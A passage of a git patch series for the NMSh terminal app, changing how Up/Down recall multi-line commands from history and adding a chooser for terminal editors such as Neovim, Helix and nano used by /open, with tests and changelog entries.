a command, each Up or Down moves to the next older or newer command, even when the recalled one spans several lines or wraps; before, a recalled five-line command took five extra presses to pass. Typing, pasting, deleting, moving the caret or selecting in a recalled command makes it a draft again, where Up and Down move between its lines as before, and Down past the newest command restores exactly what you had typed. Editing a fresh multi-line draft is unchanged. + ### Fixed - Multi-line progress displays that redraw their own rows (cursor up and erase line, as concurrent downloads and container pulls do) now update in place instead of leaving a copy of every frame in the transcript ([#388](https://github.com/raiseCatError/notMyShell/issues/388)). A program can redraw only its own recent rows, at most a screen height up, never NMSh's lines or earlier commands; `/copy` copies the final rows once. Rows are the terminal's rows: a line wider than the window counts as the rows it occupies, so a display that redraws over its own wrapped line no longer erases the log lines above it at narrow widths. A status row an installer reserves below a scroll region is not written into the log. Absolute cursor positioning is not mapped. diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 62148e4a..ebc45cc2 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -480,6 +480,8 @@ export class TerminalApp { private readonly historyService = new HistoryService(); /** Shell-style Up/Down recall in the ordinary composer. Frontend-local; never persisted. */ private readonly composerHistory = new ComposerHistory(); + /** The composer shows an entry recalled by Up/Down and the person has done nothing else since (#389). */ + private historyBrowsing = false; /** * What was submitted in this NMSh session, for recall only. NMSh slash * commands live here and nowhere else: never zsh, Atuin or other history. @@ -2409,6 +2411,9 @@ export class TerminalApp { if (this.running) { this.running.stoppedAt = Date.now(); this.session.write('\u001A'); this.runningDraft = undefined; this.answerSent(); } return; } + // Anything but Up/Down (typing, pasting, deleting, moving the caret, selecting) makes a recalled command a draft: + // Up/Down move within it again, and the next recall starts a fresh snapshot (#389). + if (key.kind !== 'up' && key.kind !== 'down') this.historyBrowsing = false; if (key.kind === 'selectAll') { if (!this.running) this.editor.selectAll(); return; @@ -2486,8 +2491,7 @@ export class TerminalApp { else this.selectedSuggestion = (this.selectedSuggestion + 1) % suggestions.length; } else if (key.kind === 'up' && isSlash && !searchSurface && suggestions.length > 0 && this.leaveSlashMenu()) { // Left the slash menu; fall through to history recall below. - const {columns} = this.dimensions(); - if (!this.editor.moveUp(this.inputColumns(columns), this.railInputPrefix(columns)) && this.composerHistoryEligible()) this.recallHistory('previous'); + this.historyStep('up'); } else if (key.kind === 'complete') { const action = tabCompletionAction(this.shellSuggestions.length, isSlash ? suggestions.length : 0); if (action === 'shell-suggestion') { @@ -2587,22 +2591,20 @@ export class TerminalApp { else if (key.kind === 'selectWordLeft') this.editor.selectWordLeft(); else if (key.kind === 'selectWordRight') this.editor.selectWordRight(); else if (key.kind === 'up') { - const {columns} = this.dimensions(); // Spatial focus: the shelf sits above the composer. Only an already visible shelf, from a completely idle // composer; a hidden shelf is never revealed by ↑, which stays shell history. if (this.composerIdle() && !this.composerHistory.active && this.shelfShown()) { this.shelf.focused = true; this.shelf.selected = 0; this.render(); return; } // Then the background task bar (only from an idle composer, only when tasks are shown), then history. if (this.enterBackgroundBar(key)) return; - if (!this.editor.moveUp(this.inputColumns(columns), this.railInputPrefix(columns)) && this.composerHistoryEligible()) this.recallHistory('previous'); + this.historyStep('up'); } else if (key.kind === 'selectUp') { const {columns} = this.dimensions(); if (this.enterBackgroundBar(key)) return; this.editor.selectUp(this.inputColumns(columns), this.railInputPrefix(columns)); } else if (key.kind === 'down') { - const {columns} = this.dimensions(); // At the newest, empty composer ↓ has nothing to do: it reveals the agent shelf (↑ then focuses it). if (!this.editor.text && !this.composerHistory.active && this.agents.sessions.length && !this.running) { this.revealShelf(); this.render(); return; } - if (!this.editor.moveDown(this.inputColumns(columns), this.railInputPrefix(columns)) && this.composerHistoryEligible()) this.recallHistory('next'); + this.historyStep('down'); } else if (key.kind === 'selectDown') { const {columns} = this.dimensions(); this.editor.selectDown(this.inputColumns(columns), this.railInputPrefix(columns)); @@ -2691,10 +2693,30 @@ export class TerminalApp { : this.composerHistory.next(current); if (text === undefined) return; this.editor.replaceText(text); + // Past the newest entry the draft returns and browsing ends; otherwise the composer shows a recalled entry. + this.historyBrowsing = this.composerHistory.active; this.selectedSuggestion = 0; this.shellSuggestions = []; } + /** + * Up/Down in the shell composer (#389). While it shows an unchanged recalled entry, each press is one history entry, + * however many explicit or wrapped rows the entry has. Otherwise the caret moves between visual rows first, and + * crossing the first or last row enters or leaves history, as for any draft. + */ + private historyStep(direction: 'up' | 'down'): void { + const eligible = this.composerHistoryEligible(); + if (this.historyBrowsing && eligible && this.composerHistory.showing(this.editor.text)) { + this.recallHistory(direction === 'up' ? 'previous' : 'next'); + return; + } + this.historyBrowsing = false; + const {columns} = this.dimensions(); + const moved = direction === 'up' ? this.editor.moveUp(this.inputColumns(columns), this.railInputPrefix(columns)) + : this.editor.moveDown(this.inputColumns(columns), this.railInputPrefix(columns)); + if (!moved && eligible) this.recallHistory(direction === 'up' ? 'previous' : 'next'); + } + private async fetchSuggestions(): Promise<void> { const input = this.editor.text; if (!this.directorySearchActive && this.directoryQuery !== undefined) { diff --git a/tests/composerHistory.test.ts b/tests/composerHistory.test.ts index 72609fbd..a055c54c 100644 --- a/tests/composerHistory.test.ts +++ b/tests/composerHistory.test.ts @@ -147,15 +147,88 @@ test('composer: multiline drafts move by line first, then enter and leave histor } finally { stop(app); } }); -test('composer: a recalled multiline command navigates its own lines before older history', () => { +test('composer (#389): a recalled multiline command is one history step; Up and Down move entry by entry', () => { + const {app, text} = historyApp(['echo oldest', 'echo older', 'printf 1\nprintf 2\nprintf 3\nprintf 4\nprintf 5', 'echo newest']); + try { + app['onInput'](UP); + assert.equal(text(), 'echo newest'); + app['onInput'](UP); + assert.equal(text(), 'printf 1\nprintf 2\nprintf 3\nprintf 4\nprintf 5', 'the five-line entry, recalled whole'); + app['onInput'](UP); + assert.equal(text(), 'echo older', 'one Up past it, not five'); + app['onInput'](DOWN); + assert.equal(text(), 'printf 1\nprintf 2\nprintf 3\nprintf 4\nprintf 5', 'one Down back to it'); + app['onInput'](DOWN); + assert.equal(text(), 'echo newest', 'and one Down past it'); + app['onInput'](UP); + app['onInput'](UP); + app['onInput'](UP); + app['onInput'](UP); + assert.equal(text(), 'echo oldest'); + app['onInput'](UP); + assert.equal(text(), 'echo oldest', 'oldest: no wrap'); + for (let index = 0; index < 4; index++) app['onInput'](DOWN); + assert.equal(text(), '', 'Down past the newest restores the empty draft'); + assert.equal(app['composerHistory'].active, false); + } finally { stop(app); } +}); + +test('composer (#389): a recalled command wider than the composer is one step too (soft-wrapped rows)', () => { + const long = `echo ${'x'.repeat(200)}`; + const {app, text} = historyApp(['echo older', long]); + try { + app['onInput'](UP); + assert.equal(text(), long); + app['onInput'](UP); + assert.equal(text(), 'echo older', 'not one Up per wrapped row'); + app['onInput'](DOWN); + assert.equal(text(), long); + } finally { stop(app); } +}); + +test('composer (#389): editing, moving the caret, selecting or pasting in a recalled command ends browsing', () => { + const multi = 'printf a\nprintf b\nprintf c'; + const cases: Array<[string, (app: TerminalApp) => void, string]> = [ + ['typing', app => app['onInput']('x'), 'printf a\nprintf b\nprintf cx'], + ['moving the caret', app => app['handleKey']({kind: 'left'}), multi], + ['moving a word', app => app['handleKey']({kind: 'wordLeft'}), multi], + ['going to the line start', app => app['handleKey']({kind: 'lineHome'}), multi], + ['selecting', app => app['handleKey']({kind: 'selectLeft'}), multi], + ['pasting', app => app['onInput']('\u001b[200~ y\u001b[201~'), 'printf a\nprintf b\nprintf c y'], + ]; + for (const [name, act, expected] of cases) { + const {app, text} = historyApp(['echo older', multi]); + try { + app['onInput'](UP); + assert.equal(text(), multi, `${name}: recalled`); + act(app); + assert.equal(text(), expected, `${name}: the action itself`); + app['onInput'](UP); + assert.equal(text(), expected, `${name}: Up moves within the text again, not to an older entry`); + assert.notEqual(text(), 'echo older'); + } finally { stop(app); } + } +}); + +test('composer (#389): Down past the newest restores the exact unsent draft, multiline and caret included', () => { const {app, text} = historyApp(['echo older', 'printf a\nprintf b']); try { + app['onInput']('first'); + app['onInput']('\n'); + app['onInput']('second'); + app['handleKey']({kind: 'bufferEnd'}); + app['onInput'](UP); + assert.equal(text(), 'first\nsecond', 'Up inside a fresh multiline draft moves the caret first'); app['onInput'](UP); assert.equal(text(), 'printf a\nprintf b'); app['onInput'](UP); - assert.equal(text(), 'printf a\nprintf b', 'moved to the first line of the recalled command'); + assert.equal(text(), 'echo older', 'browsing: one step per entry'); + app['onInput'](DOWN); + app['onInput'](DOWN); + assert.equal(text(), 'first\nsecond', 'the exact draft'); + assert.equal(app['composerHistory'].active, false); app['onInput'](UP); - assert.equal(text(), 'echo older'); + assert.equal(text(), 'first\nsecond', 'the restored draft is a draft again: Up moves within it'); } finally { stop(app); } }); diff --git a/tests/composerHistoryRunning.test.ts b/tests/composerHistoryRunning.test.ts index 68db7fbe..c9e07074 100644 --- a/tests/composerHistoryRunning.test.ts +++ b/tests/composerHistoryRunning.test.ts @@ -254,7 +254,7 @@ test('composer history: slash suggestions still yield Up; a recalled command ope } finally { f.dispose(); } }); -test('composer history: multiline drafts move by line first; a recalled multiline command still reaches older history and restores the draft', () => { +test('composer history: multiline drafts move by line first; a recalled multiline command is one step (#389) and restores the draft', () => { const f = fixture(['echo older', 'printf a\nprintf b']); try { f.begin('sleep 12'); @@ -267,8 +267,7 @@ test('composer history: multiline drafts move by line first; a recalled multilin f.app['onInput'](UP); assert.equal(f.text(), 'printf a\nprintf b', 'the multiline entry is recalled as one command'); f.app['onInput'](UP); - f.app['onInput'](UP); - assert.equal(f.text(), 'echo older', 'navigation still reaches older entries'); + assert.equal(f.text(), 'echo older', 'one Up reaches the older entry'); f.app['onInput'](DOWN); assert.equal(f.text(), 'printf a\nprintf b', 'Down steps newer, entry by entry'); f.app['onInput'](DOWN); From 4ab9f44a9126be29666c0b6d25d9c165ac753925 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 01:22:54 +0530 Subject: [PATCH 061/157] /open: choose a terminal editor when VISUAL and EDITOR are unset MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit #366 (decision D3): with VISUAL and EDITOR unset and no Zed or VS Code around, /open (and `o` in /view) could only say that no editor was known. - src/host/terminalEditors.ts: a curated list (Neovim, Helix, Micro, Vim, nano, Emacs with -nw, Kakoune), detected on PATH only. Detection never runs an editor (no version arguments), and NMSh never installs one (no install recipes; the upstream page is named instead). - Settings → Sessions → Terminal editor opens the existing provider chooser (a new 'editor' provider family, so /providers and Ask see it too). An installed editor is saved as terminalEditor; a missing one shows why and is not saved. The highlighted editor previews the exact command /open would compose; nothing runs. - resolveHostActions keeps explicit choices first: Open with Zed or VS Code, the editor NMSh runs inside, then VISUAL/EDITOR, then the chosen editor, only when installed. With none chosen, the message names the editors installed here and where to choose. - editorArguments adds the column forms nano (+N,C) and Emacs (+N:C) document; Vim, Neovim and Kakoune keep +N; paths stay single arguments and are quoted for the session's shell when composed. Tests: precedence (environment, surrounding editor, explicit Open with, chosen, missing), per-editor line and column forms, configuration normalization, the family and Settings row, and the whole path through TerminalApp with stub executables on a controlled PATH. Ask's coverage audit now knows the family. Refs #366 --- CHANGELOG.md | 1 + src/app/TerminalApp.ts | 18 ++++--- src/ask/concepts.ts | 6 +-- src/host/HostActions.ts | 51 ++++++++++++++++--- src/host/terminalEditors.ts | 44 ++++++++++++++++ src/prompt/configuration.ts | 5 ++ src/providers/families.ts | 8 ++- src/providers/providers.ts | 2 +- src/ui/SettingsPanel.ts | 9 ++-- tests/terminalEditor.test.ts | 89 +++++++++++++++++++++++++++++++++ tests/terminalEditorApp.test.ts | 72 ++++++++++++++++++++++++++ 11 files changed, 282 insertions(+), 23 deletions(-) create mode 100644 src/host/terminalEditors.ts create mode 100644 tests/terminalEditor.test.ts create mode 100644 tests/terminalEditorApp.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index 41472b72..c89794d3 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -18,6 +18,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). - **`/modules explain` and `/modules timings`** ([#365](https://github.com/raiseCatError/notMyShell/issues/365)) write a plain-text report into the transcript: each configured module's surface, whether it is on screen and why (including when the Context Rail or Status Strip left it out, or shortened it, to fit the width in the last frame), and its sources' state, age and last collection time; or the slowest last collections. They read what the Context Engine already has and collect nothing. - **Five more bundled theme families** ([#401](https://github.com/raiseCatError/notMyShell/issues/401)): Ayu (Dark, Mirage, Light), Kanagawa (Wave, Dragon, Lotus), Everforest (Dark, Light), Flexoki (Dark, Light) and Night Owl (Night Owl, Light Owl), with colors copied exactly from each project's MIT-licensed source at a recorded revision. They theme NMSh's own prompt fills and chrome only; the terminal's own colors and configuration are never changed. Existing theme ids and saved choices are unchanged, and Lavender stays the default. Theme Studio's Built-in list gains `/` to filter by name, family, or `dark`/`light`. - **`/track`** keeps one live result of a finite command in the transcript, refreshed in place ([#393](https://github.com/raiseCatError/notMyShell/issues/393)). `/track df -h` or `/track --every 5s -- docker system df` writes the command once, then shows a status row (`live · every 5s · updated 13:49:25 · exit 0`, a failing exit, a timeout, paused, stale, refreshing) and the latest result under it, with a stable height. The shell stays free; nothing accumulates per refresh, and find, selection and `/copy` never include the live rows. `/track copy` copies the latest result, `/track refresh`, `pause`, `resume` and `stop` control it, and stopping leaves the last result in the transcript once. Samples run `sh -c` from the starting directory with your shell's PATH (not its aliases or functions), never overlap, and are bounded (200 kB, a timeout, at most 8 trackers); destructive and unknown commands are refused or need a Yes, as for `/watch`. Trackers stop with the window that started them. `/watch` keeps its manager and its behavior; both share one scheduler, which gains stricter interval parsing, refusals for substitutions, background jobs and heredocs, UTF-8-safe bounded capture, visible timeouts and a stop grace period (from draft #394). +- **Choose a terminal editor for `/open` when VISUAL and EDITOR are not set** ([#366](https://github.com/raiseCatError/notMyShell/issues/366)). Settings → Terminal editor (also in `/providers`) lists Neovim, Helix, Micro, Vim, nano, Emacs and Kakoune, marks which are installed here, and saves one you have; one that is not installed cannot be chosen, and NMSh never installs an editor. `/open` then puts that editor's command in the composer for you to run, with the line and column in the form that editor documents (`hx file:12:5`, `nano +12,5 file`, `emacs -nw +12:5 file`, `nvim +12 file`). Zed or VS Code (around NMSh or chosen in Open with) and VISUAL/EDITOR still come first. When nothing is set, the message names the editors installed here. ### Fixed diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 62148e4a..ef2be7cc 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -227,7 +227,8 @@ import {extractFacts} from '../status/adapters.js'; import {focusForeground, foreground, background, UI_COLORS, lazyForeground} from '../ui/palette.js'; import {AgentActivityStore} from '../agents/AgentActivityStore.js'; import {isShellId, knowledgeJobCount, type ShellId} from '../shell/adapters/ShellAdapter.js'; -import {findSourceReferences, parseOpenArgument, resolveHostActions, resolveLocation, runHostAction, type HostAction, type HostActionAdapter} from '../host/HostActions.js'; +import {findSourceReferences, parseOpenArgument, resolveHostActions, resolveLocation, runHostAction, systemHostEnvironment, terminalEditorPreview, type HostAction, type HostActionAdapter} from '../host/HostActions.js'; +import {TERMINAL_EDITORS} from '../host/terminalEditors.js'; import {openPanelKey, renderOpenPanel, type OpenPanelState} from '../host/OpenPanel.js'; import {fishQuote, posixQuote} from '../shell/adapters/ShellAdapter.js'; import {compileQuery, createFind, findCount, parseSearchCommand, refreshFind, revealStart, stepFind, type FindState} from '../output/TranscriptSearch.js'; @@ -5463,7 +5464,7 @@ export class TerminalApp { else if (destination === 'cursor') this.openCursorPanel(); else if (destination === 'themeStudio') this.openThemeStudio(); else if (destination === 'themeBridge') void this.openThemeBridge(); - else if (destination === 'welcome' || destination === 'suggestions' || destination === 'history' || destination === 'picker' || destination === 'navigation') this.startProviderPanel(destination); + else if (destination === 'welcome' || destination === 'suggestions' || destination === 'history' || destination === 'picker' || destination === 'navigation' || destination === 'editor') this.startProviderPanel(destination); else if (destination === 'queue') this.rowPanel = createRowPanel('Queue', '/queue · /settings queue', [...QUEUE_SETTINGS_ROW_IDS], 'queue'); else void this.startKeyboard(); } @@ -7527,8 +7528,10 @@ export class TerminalApp { }); } - private startProviderPanel(family: 'welcome' | 'suggestions' | 'history' | 'picker' | 'navigation'): void { - const state: ProviderPanelState = family === 'welcome' + private startProviderPanel(family: 'welcome' | 'suggestions' | 'history' | 'picker' | 'navigation' | 'editor'): void { + const state: ProviderPanelState = family === 'editor' + ? createProviderPanel(family, 'Terminal editor', TERMINAL_EDITORS, this.promptConfiguration.terminalEditor) + : family === 'welcome' ? createProviderPanel(family, 'Welcome', WELCOME_PROVIDERS, this.promptConfiguration.welcome) : family === 'navigation' ? createProviderPanel(family, 'Directory navigation', NAVIGATION_PROVIDERS, this.promptConfiguration.navigation) : family === 'picker' ? createProviderPanel(family, 'Picker', PICKER_PROVIDERS, this.promptConfiguration.picker) @@ -7548,6 +7551,7 @@ export class TerminalApp { private providerPreview(state: ProviderPanelState, width: number): string[] { const selected = providerPanelSelection(state); if (state.family === 'navigation') return [`${SUBTLE}Find with /dirs; selecting inserts a visible cd command. Press Enter separately to navigate.${RESET}`]; + if (state.family === 'editor') return terminalEditorPreview(selected.id, process.env).map(line => `${SUBTLE}${line}${RESET}`); if (state.family === 'picker') return [`${SUBTLE}Selections restore the composer; cancel leaves it unchanged. Missing or failing tools use Native.${RESET}`]; if (state.family === 'history') return [`${SUBTLE}${selected.id === 'atuin' ? 'Read-only local history; existing hooks unchanged; no sync.' : 'Shell-approved journal metadata and imported zsh history.'}${RESET}`]; if (state.family === 'suggestions') { @@ -7608,7 +7612,9 @@ export class TerminalApp { private saveProviderChoice(state: ProviderPanelState): void { const selected = providerPanelSelection(state); - const next = state.family === 'welcome' + const next = state.family === 'editor' + ? {...structuredClone(this.promptConfiguration), terminalEditor: selected.id as PromptConfiguration['terminalEditor']} + : state.family === 'welcome' ? {...structuredClone(this.promptConfiguration), welcome: selected.id as PromptConfiguration['welcome']} : state.family === 'navigation' ? {...structuredClone(this.promptConfiguration), navigation: selected.id as PromptConfiguration['navigation']} : state.family === 'picker' ? {...structuredClone(this.promptConfiguration), picker: selected.id as PromptConfiguration['picker']} @@ -8505,7 +8511,7 @@ export class TerminalApp { private openPanel?: OpenPanelState; private hostActions(): HostActionAdapter { - return resolveHostActions(this.promptConfiguration.openWith); + return resolveHostActions(this.promptConfiguration.openWith, systemHostEnvironment(), this.promptConfiguration.terminalEditor); } /** path:line references in the newest outputs, each with the cwd its command ran in. */ diff --git a/src/ask/concepts.ts b/src/ask/concepts.ts index a4a9c32e..68770d94 100644 --- a/src/ask/concepts.ts +++ b/src/ask/concepts.ts @@ -199,9 +199,9 @@ export const CONCEPTS: readonly Concept[] = [ {id: 'agents', label: 'Agent activity', support: 'actionable', open: '/agents', covers: ['/agents'], aliases: ['agents', 'agent activity', 'agent stats', 'agent statistics', 'claude code activity', 'codex activity', 'agent runs'], description: '/agents tracks local agent CLI activity (Claude Code, Codex CLI): durations, run counts and a heatmap. It never records prompts or output.'}, - {id: 'editor', label: 'Editor (open files)', support: 'actionable', capability: 'editor.status', where: 'Settings → Open with', covers: ['/open', '/open-diff'], - aliases: ['editor', 'open with', 'zed', 'vscode', 'vs code', 'visual studio code', 'open files in', 'open diff'], - description: '/open hands a path[:line[:column]] to your editor (Auto, Zed, VS Code, or VISUAL/EDITOR); /open-diff shows two files in its diff view.'}, + {id: 'editor', label: 'Editor (open files)', support: 'actionable', capability: 'editor.status', where: 'Settings → Open with, and Settings → Terminal editor', covers: ['/open', '/open-diff', 'family:editor'], + aliases: ['editor', 'open with', 'zed', 'vscode', 'vs code', 'visual studio code', 'open files in', 'open diff', 'terminal editor', 'neovim', 'nvim', 'helix', 'micro', 'nano', 'kakoune'], + description: '/open hands a path[:line[:column]] to your editor (Auto, Zed, VS Code, or VISUAL/EDITOR); /open-diff shows two files in its diff view. With VISUAL and EDITOR unset, Settings → Terminal editor chooses one installed here (Neovim, Helix, Micro, Vim, nano, Emacs, Kakoune); its command goes in the composer for you to run.'}, {id: 'keyboard', label: 'Keyboard', support: 'actionable', open: '/keyboard', covers: ['/keyboard', 'settings:Keyboard'], aliases: ['keyboard', 'key bindings', 'keybindings', 'shortcuts', 'keyboard shortcuts', 'option key', 'kitty keyboard'], description: '/keyboard configures terminal keyboard integration (enhanced keys, Option as Meta, Shift+Enter).'}, diff --git a/src/host/HostActions.ts b/src/host/HostActions.ts index 0bb3eb38..98d0dcbe 100644 --- a/src/host/HostActions.ts +++ b/src/host/HostActions.ts @@ -3,6 +3,7 @@ import {accessSync, constants, statSync} from 'node:fs'; import {spawnSync} from 'node:child_process'; import {basename, delimiter, isAbsolute, join, resolve} from 'node:path'; import {homedir} from 'node:os'; +import {installedTerminalEditors, terminalEditor, type TerminalEditorId} from './terminalEditors.js'; /** * HostActions: delegate editor-native work to the editor around NMSh. @@ -123,18 +124,20 @@ export function editorArguments(editor: readonly string[], target: SourceLocatio if (!target.line) return [...editor, target.path]; if (['hx', 'helix'].includes(name)) return [...editor, location(target)]; if (name === 'micro') return [...editor, `+${target.line}${target.column ? `:${target.column}` : ''}`, target.path]; + // nano documents +LINE,COLUMN and Emacs +LINE:COLUMN; the others take only +LINE. + if (name === 'nano' && target.column) return [...editor, `+${target.line},${target.column}`, target.path]; + if (['emacs', 'emacsclient'].includes(name) && target.column) return [...editor, `+${target.line}:${target.column}`, target.path]; if (['vi', 'vim', 'nvim', 'view', 'nano', 'emacs', 'emacsclient', 'kak', 'pico', 'mg', 'joe'].includes(name)) return [...editor, `+${target.line}`, target.path]; // Unknown editor: no guessed location flag; the file opens at its start. return [...editor, target.path]; } -function editorAdapter(editor: string[]): HostActionAdapter { - const label = editor[0] ?? 'editor'; +function editorAdapter(editor: readonly string[], shown = basename(editor[0] ?? 'editor')): HostActionAdapter { return { - id: 'editor', label: basename(label), + id: 'editor', label: shown, capabilities: {nativeFileOpen: true, nativeDirectoryOpen: false, nativeDiff: false}, - openFile: target => ({kind: 'compose', argv: editorArguments(editor, target), label: basename(label)}), - openDirectory: () => ({kind: 'unsupported', reason: `${basename(label)} is a terminal editor; NMSh does not open folders in it. Use cd here, or an editor with a folder view.`}), + openFile: target => ({kind: 'compose', argv: editorArguments(editor, target), label: shown}), + openDirectory: () => ({kind: 'unsupported', reason: `${shown} is a terminal editor; NMSh does not open folders in it. Use cd here, or an editor with a folder view.`}), openDiff: () => ({kind: 'unsupported', reason: 'No editor with a native diff view is configured. Run git diff (or diff -u) here, or set Open with to Zed or VS Code.'}), }; } @@ -180,9 +183,10 @@ export function configuredEditor(env: NodeJS.ProcessEnv): string[] | undefined { /** * Pick the adapter: an explicit choice wins; otherwise the editor NMSh runs - * inside (from its own terminal environment), then VISUAL/EDITOR. + * inside (from its own terminal environment), then VISUAL/EDITOR, then the + * terminal editor chosen in Settings (only when it is installed here). */ -export function resolveHostActions(openWith: OpenWith, host: HostEnvironment = systemHostEnvironment()): HostActionAdapter { +export function resolveHostActions(openWith: OpenWith, host: HostEnvironment = systemHostEnvironment(), chosen: TerminalEditorId = 'environment'): HostActionAdapter { const program = host.env.TERM_PROGRAM; const inZed = program === 'zed' || Boolean(host.env.ZED_TERM); const inVsCode = program === 'vscode'; @@ -208,7 +212,21 @@ export function resolveHostActions(openWith: OpenWith, host: HostEnvironment = s } return editorAdapter(editor); } - return NONE; + return chosenEditorAdapter(chosen, host); +} + +/** With VISUAL and EDITOR unset: the terminal editor chosen in Settings, or a factual message naming the installed ones. */ +function chosenEditorAdapter(chosen: TerminalEditorId, host: HostEnvironment): HostActionAdapter { + const editor = terminalEditor(chosen); + if (editor?.executable && editor.argv) { + if (host.which(editor.executable)) return editorAdapter(editor.argv, editor.label); + const reason = `${editor.label} (${editor.executable}) is chosen in Settings → Terminal editor but is not on PATH. Install it, choose another, or set VISUAL or EDITOR.`; + return {...NONE, openFile: () => ({kind: 'unsupported', reason})}; + } + const installed = installedTerminalEditors(host); + if (!installed.length) return NONE; + const reason = `No editor is known here: not inside Zed or VS Code, and neither VISUAL nor EDITOR is set. Choose one in /settings → Terminal editor (installed here: ${installed.map(item => item.label).join(', ')}), or set VISUAL or EDITOR.`; + return {...NONE, openFile: () => ({kind: 'unsupported', reason})}; } /** Launch a GUI editor detached, argv only. Resolves with a failure reason, never throws. */ @@ -281,3 +299,20 @@ export function resolveLocation(target: SourceLocation, cwd: string, home = home if (!stat.isFile()) return {ok: false, reason: `${path} is not a regular file.`}; return {ok: true, kind: 'file', location: {...target, path}}; } + +/** + * What the Terminal editor chooser shows for the highlighted choice: the command /open would compose (nothing runs), + * and whether VISUAL/EDITOR overrides it. + */ +export function terminalEditorPreview(id: string, env: NodeJS.ProcessEnv): string[] { + const configured = configuredEditor(env); + const editor = terminalEditor(id); + const example = {path: 'README.md', line: 12, column: 5}; + if (!editor?.argv) { + return configured ? [`VISUAL/EDITOR is ${configured.join(' ')}: /open README.md:12 composes ${editorArguments(configured, example).join(' ')}`] + : ['Neither VISUAL nor EDITOR is set: choose an editor here, or set one in your shell.']; + } + const lines = [`/open README.md:12:5 puts this in the composer for you to run: ${editorArguments(editor.argv, example).join(' ')}`]; + if (configured) lines.push(`VISUAL/EDITOR (${configured.join(' ')}) is set and is used instead.`); + return lines; +} diff --git a/src/host/terminalEditors.ts b/src/host/terminalEditors.ts new file mode 100644 index 00000000..5aaefdfb --- /dev/null +++ b/src/host/terminalEditors.ts @@ -0,0 +1,44 @@ +import type {ProviderDescriptor} from '../providers/providers.js'; +import type {HostEnvironment} from './HostActions.js'; + +/** + * Terminal editors /open and `o` in /view can hand a file to when VISUAL and EDITOR are unset (#366). A curated list, + * detected on PATH only: detection never runs an editor, and NMSh never installs one (no recipes; the upstream page is + * named instead). `environment` means VISUAL/EDITOR, the default. Line and column forms live in editorArguments. + */ +export type TerminalEditorId = 'environment' | 'nvim' | 'hx' | 'micro' | 'vim' | 'nano' | 'emacs' | 'kak'; + +export interface TerminalEditorDescriptor extends ProviderDescriptor<TerminalEditorId> { + /** The command NMSh composes, before the file arguments (Emacs needs -nw to stay in the terminal). */ + argv?: readonly string[]; +} + +export const TERMINAL_EDITORS: readonly TerminalEditorDescriptor[] = [ + {id: 'environment', family: 'editor', label: 'VISUAL / EDITOR', kind: 'native', + description: 'The editor your shell names in VISUAL or EDITOR; when neither is set, choose one below'}, + {id: 'nvim', family: 'editor', label: 'Neovim', kind: 'external', executable: 'nvim', argv: ['nvim'], + description: 'Opens at the line (+N)', source: 'https://neovim.io'}, + {id: 'hx', family: 'editor', label: 'Helix', kind: 'external', executable: 'hx', argv: ['hx'], + description: 'Opens at the line and column (file:N:C)', source: 'https://helix-editor.com'}, + {id: 'micro', family: 'editor', label: 'Micro', kind: 'external', executable: 'micro', argv: ['micro'], + description: 'Opens at the line and column (+N:C)', source: 'https://micro-editor.github.io'}, + {id: 'vim', family: 'editor', label: 'Vim', kind: 'external', executable: 'vim', argv: ['vim'], + description: 'Opens at the line (+N)', source: 'https://www.vim.org'}, + {id: 'nano', family: 'editor', label: 'nano', kind: 'external', executable: 'nano', argv: ['nano'], + description: 'Opens at the line and column (+N,C)', source: 'https://www.nano-editor.org'}, + {id: 'emacs', family: 'editor', label: 'Emacs', kind: 'external', executable: 'emacs', argv: ['emacs', '-nw'], + description: 'In the terminal (-nw), at the line and column (+N:C)', source: 'https://www.gnu.org/software/emacs/'}, + {id: 'kak', family: 'editor', label: 'Kakoune', kind: 'external', executable: 'kak', argv: ['kak'], + description: 'Opens at the line (+N)', source: 'https://kakoune.org'}, +]; + +export const TERMINAL_EDITOR_IDS: readonly TerminalEditorId[] = TERMINAL_EDITORS.map(editor => editor.id); + +export function terminalEditor(id: string): TerminalEditorDescriptor | undefined { + return TERMINAL_EDITORS.find(editor => editor.id === id); +} + +/** The curated editors found on this host's PATH, in catalog order. */ +export function installedTerminalEditors(host: Pick<HostEnvironment, 'which'>): TerminalEditorDescriptor[] { + return TERMINAL_EDITORS.filter(editor => editor.executable && host.which(editor.executable)); +} diff --git a/src/prompt/configuration.ts b/src/prompt/configuration.ts index 7fef4d49..c60e322a 100644 --- a/src/prompt/configuration.ts +++ b/src/prompt/configuration.ts @@ -40,6 +40,7 @@ import {normalizeVibrance, type Vibrance} from '../chroma/color.js'; import {isShellId, type ShellId} from '../shell/adapters/ShellAdapter.js'; import {normalizeProfiles, type AgentProfile} from '../agents/sessions/manager.js'; import {OPEN_WITH_IDS, type OpenWith} from '../host/HostActions.js'; +import {TERMINAL_EDITOR_IDS, type TerminalEditorId} from '../host/terminalEditors.js'; import {DEFAULT_KEEP_AWAKE_PRESENTATION, normalizeKeepAwakePresentation, type KeepAwakePresentation} from '../keepAwake/presentation.js'; import {TERMINAL_TITLE_MODES, type TerminalTitleMode} from '../host/terminalTitle.js'; @@ -695,6 +696,8 @@ export interface PromptConfiguration { shellBackend: ShellId; /** Where /open and /open-diff delegate: the surrounding editor (auto), Zed, VS Code, or $VISUAL/$EDITOR. */ openWith: OpenWith; + /** The terminal editor /open and `o` in /view use when VISUAL and EDITOR are unset; `environment` is VISUAL/EDITOR only (#366). */ + terminalEditor: TerminalEditorId; /** The terminal window/tab title while NMSh owns the screen: Off (default, the terminal keeps its own), project, or project and session. */ terminalTitle: TerminalTitleMode; nmsh: { @@ -902,6 +905,7 @@ export const DEFAULT_PROMPT_CONFIGURATION: PromptConfiguration = { workspacePanels: false, shellBackend: 'zsh', openWith: 'auto', + terminalEditor: 'environment', terminalTitle: 'session', idleVisuals: {...DEFAULT_IDLE_VISUALS, customStops: []}, liveActivity: {...DEFAULT_LIVE_ACTIVITY, customStops: []}, @@ -1014,6 +1018,7 @@ export function normalizePromptConfiguration(value: unknown): PromptConfiguratio 